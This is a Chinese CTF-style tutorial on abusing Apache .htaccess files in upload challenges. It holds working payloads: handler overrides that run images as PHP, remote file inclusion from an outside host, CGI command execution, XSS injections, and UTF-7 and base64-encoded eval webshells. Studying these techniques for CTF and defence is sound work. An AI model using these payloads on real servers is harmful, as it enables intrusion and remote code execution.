htaccess文件利用总结

htaccess文件上传利用总结

从一题**[XNUCA2019Qualifier]EasyPHP**谈起.htaccess在安全中的利用。前面抄之前大佬(https://xz.aliyun.com/t/8267?time__1311=n4%2BxuDgDBDyBD%3DD77D%2F%2BW4d4jhGYDRBeZiYD#toc-14)写的把,后面总结没写到的。

0x1.htaccess是什么?

.htaccess 是一个配置文件,用于Apache Web服务器。这个文件允许你在没有访问主服务器配置文件的情况下,对单个目录及其子目录中的Web服务进行配置。.htaccess 文件是“分布式配置文件”,提供了一种方式来使服务器配置的改变限定在特定的目录中。

.htaccess 文件可以包含一个或多个指令,用于改变服务器的行为,或者设定软件的运行参数。例如,它可以用来:

  • 重写 URL:通过 mod_rewrite 模块,可以将用户从一个页面重定向到另一个页面,或者改变 URL 的结构。
  • 定制错误页面:如404页面未找到错误。
  • 设置目录列表:开启或关闭服务器的目录列表功能。
  • 控制文件和目录的访问:可以限制对某些资源的访问,要求用户输入密码(基本认证)。
  • 设置字符集和语言环境:例如,设定默认字符集为UTF-8。
  • 实施缓存策略:控制网页和资源的缓存行为。
  • 设置 PHP 变量:可以设置一些本地 PHP 配置指令。

由于 .htaccess 文件会影响包含它的目录及所有子目录,因此它的改动通常立即生效,无需重启服务器。不过,频繁的使用 .htaccess 文件会稍微降低服务器性能,因为 Apache 需要在每个请求中检查并处理这个文件。同时,应谨慎使用 .htaccess 文件,因为配置错误可能会引起服务器错误或安全问题。

.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。

0x1.2作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

0x1.3配置文件

启动 .htaccess,需要在服务器的主配置文件将 AllowOverride 设置为 All,如 apache2.conf

AllowOverride All  #启动.htaccess文件的使用

也可以将 .htaccess 修改为其他名

AccessFileName .config #将.htaccess修改为.config

0x2常见指令

.htaccess 可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。如需了解详细功能可看这篇文章 http://www.htaccess-guide.com/ , 这里就不一一介绍,主要讲解几种常利用的指令。

0x2.1SetHandler

SetHandler 可以强制所有匹配的文件被一个指定的处理器处理
用法:

SetHandler handler-name|None

示例1:

SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做 php 解析

示例2:

SetHandler server-status

apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录

image-20240125234444738

访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新

0x2.2 AddHandler

AddHandler 可以在文件扩展名与特定的处理器之间建立映射
用法:

AddHandler handler-name extension [extension] ...

例如:

AddHandler cgi-script .xxx

将扩展名为 .xxx 的文件作为 CGI 脚本来处理

0x2.3AddType

AddType 可以将给定的文件扩展名映射到指定的内容类型
用法:

AddType media-type extension [extension] ...

示例:

AddType application/x-httpd-php .gif

将以 gif 为后缀的文件当做 php 解析

AddType application/x-httpd-php png  jpg gif

将以 .png .jpg .gif 多个后缀当做 php 解析

0x2.4php_value

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride OptionsAllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

用法:

php_value name value

查看配置可被设定范围
image-20240125224224223
由上可知 .htaccess 只能用于 PHP_INI_ALLPHP_INI_PERDIR 类型的指令。
查看php.ini 配置选项列表,寻找可利用指令

(1) 文件包含配置选项
不能改:

image-20240125224420955

能改:

image-20240125225057262
  • auto_prepend_file:在主文件解析之前自动解析包含的文件
  • auto_append_file:在主文件解析自动解析包含的文件

例如:

php_value auto_prepend_file images.png

访问一个 php 文件时,在该文件解析之前会先自动解析 images.png 文件

2.绕过preg_match
image-20240125225301830
例如:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则表达式。

0x2.5php_flag

php_flag 用来设定布尔值的 php 配置指令
用法:

php_flag name on|off

查看php.ini 配置选项列表,寻找可利用指令
image-20240125224005613
可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

0x3利用方式

0x3.1文件解析

经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行

.htaccess 文件内容有如下两种

1.SetHandler 指令

# 将images.png 当做 PHP 执行
<FilesMatch  "images.png">
SetHandler  application/x-httpd-php
</FilesMatch>
2.`AddType`
# 将 .png 当做 PHP 文件解析
AddType application/x-httpd-php .png

0x3.2文件包含

0x3.2.1本地文件包含

通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。

.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。

复现不成功:

auto_prepend_file
php_value auto_prepend_file /etc/passwd
auto_append_file
php_value auto_append_file /etc/passwd

0x3.2.2远程文件包含

PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag.htaccess 中开启。

这里为了演示,就在 php.ini 中设置 all_url_includeOn

php_value auto_append_file http://xxx.xx.xx.xxx/phpinfo.txt

利用 php_flagengine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码

0x3.4代码执行

1.利用伪协议
all_url_fopenall_url_includeOn

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

2.解析.htaccess
方法一:

php_value auto_append_file .htaccess
#<?php phpinfo();
方法二:
这种适合同目录或子目录没有 `php` 文件。
需要先设置允许可访问 `.htaccess` 文件
<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>

.htaccess指定当做 php文件处理

SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

0x3.5命令执行

0x3.5.1CGI启动

cgi_module 需要加载,即 apache 配置文件中有

LoadModule cgi_module modules/mod_cgi.so

.htaccess内容

Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析

1.xx

#! /bin/bash

echo Content-type: text/html

echo ""

cat /flag

ce.xx

#!C:/Windows/System32/cmd.exe /k start calc.exe
6

例题可看 https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/web/check%20in

0x3.5.2FastCGI启动

mod_fcgid.so需要被加载。即 apache 配置文件中有

LoadModule fcgid_module modules/mod_fcgid.so

.htaccess

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx

ce.xx 内容随意

0x3.6XSS

0x3.6.1 highlight_file

.htaccess

php_value highlight.comment '"><script>alert(1);</script>'

其中的 highlight.comment 也可以换成如下其他选项
image-20240125231444978

index.php

<?php
highlight_file(__FILE__);
// comment
image-20240125231455184

0x3.6.2错误消息链接

index.php :

<?php
include('foo');#foo报错

.htaccess

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

0x3.7自定义错误文件

error.php

<?php include('shell');#报错页面

.htaccess

php_value error_log /tmp/www/html/shell.php 
php_value include_path "<?php phpinfo(); __halt_compiler();"

访问 error.php,会报错并记录在 shell.php 文件中

image-20240125231814138

因为会经过 html 编码,所以需要 UTF-7 来绕过。

.htaccess

# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

例题可看X-NUCA-ezphp

0x3.8 bypass关键字小tips

0x3.8.1 bypass<?

可以用UTF-7编码绕过

php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"

shell:

+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs

0x3.8.2 bypass脏数据

# \

#但行注释,而\多行进行合并

0x3.8.3 bypass脏数据和?或者<?

base64编码绕过,用伪造协议绕过

这里还可以扩展各种php过滤器的知识

https://blog.csdn.net/gental_z/article/details/122303393

htaccess:

SetHandler application/x-httpd-php
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./harder.png"
# \

harder.png:

PD9waHAgZXZhbCgkX0dFVFsxXSk7ID8+
image-20240125233411201
image-20240125235424771

参考链接:

https://xz.aliyun.com/t/8267?time__1311=n4%2BxuDgDBDyBD%3DD77D%2F%2BW4d4jhGYDRBeZiYD#toc-3